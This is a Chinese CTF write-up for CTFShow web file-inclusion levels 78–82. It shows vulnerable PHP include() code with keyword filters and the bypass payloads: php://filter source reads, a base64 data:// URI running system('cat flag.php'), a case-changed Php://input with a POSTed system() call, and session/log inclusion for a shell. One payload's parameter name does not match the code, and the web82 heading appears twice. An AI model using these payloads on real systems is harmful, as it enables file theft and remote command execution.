zoukankan      html  css  js  c++  java
  • CTFShow-Web入门-文件包含 78-81

    web78

    if(isset($_GET['file'])){
        $file = $_GET['file'];
        include($file);
    }else{
        highlight_file(__FILE__);
    }

    使用 include进行了文件包含 

    payload:?filter=php://filter/convert.base64-encode/resource=flag.php

    web79

    if(isset($_GET['file'])){
        $file = $_GET['file'];
        $file = str_replace("php", "???", $file);
        include($file);
    }else{
        highlight_file(__FILE__);
    }

    替换了 php

    payload:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

    (PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=   为 <?php system('cat flag.php');

    web80

    if(isset($_GET['file'])){
        $file = $_GET['file'];
        $file = str_replace("php", "???", $file);
        $file = str_replace("data", "???", $file);
        include($file);
    }else{
        highlight_file(__FILE__);
    }

    替换了 data

    payload:?file=Php://

    POST:<?php system('cat fl*');?

    这里用hackbar无法传入,可以用burpsuite

    web81

    if(isset($_GET['file'])){
        $file = $_GET['file'];
        $file = str_replace("php", "???", $file);
        $file = str_replace("data", "???", $file);
        $file = str_replace(":", "???", $file);
        include($file);
    }else{
        highlight_file(__FILE__);
    }

    : 被替换

    这里利用了session上传绕过getshell的知识

    可以看这两篇文章

    LFI 绕过 Session 包含限制 Getshell:https://www.anquanke.com/post/id/201177

    利用session.upload_progress进行文件包含:https://blog.csdn.net/qq_44657899/article/details/109281343

    web82

    if(isset($_GET['file'])){
        $file = $_GET['file'];
        $file = str_replace("php", "???", $file);
        $file = str_replace("data", "???", $file);
        $file = str_replace(":", "???", $file);
        include($file);
    }else{
        highlight_file(__FILE__);
    }

    可以使用 包含文件日志

     web82

    if(isset($_GET['file'])){
        $file = $_GET['file'];
        $file = str_replace("php", "???", $file);
        $file = str_replace("data", "???", $file);
        $file = str_replace(":", "???", $file);
        $file = str_replace(".", "???", $file);
        include($file);
    }else{
        highlight_file(__FILE__);
    }
  • 相关阅读:
    Springmvc:(八)拦截器
    单例模式最终推荐写法-线程安全
    mybatis源码解析-日志适配器
    java基本类型与byte字节数组的转换(包含大端,小端)
    spring boot mybatis 报错Invalid bound statement (not found)解决过程
    mysql中联合索引中的自增列的增长策略
    软件设计六大原则个人理解记录
    spring boot mybatis+ vue 使用POI实现从Excel中批量导入数据
    spring boot 使用POI导出数据到Excel表格
    spring boot 整合JPA多数据源
  • 原文地址:https://www.cnblogs.com/yanwusheng/p/13902116.html
Copyright © 2011-2022 走看看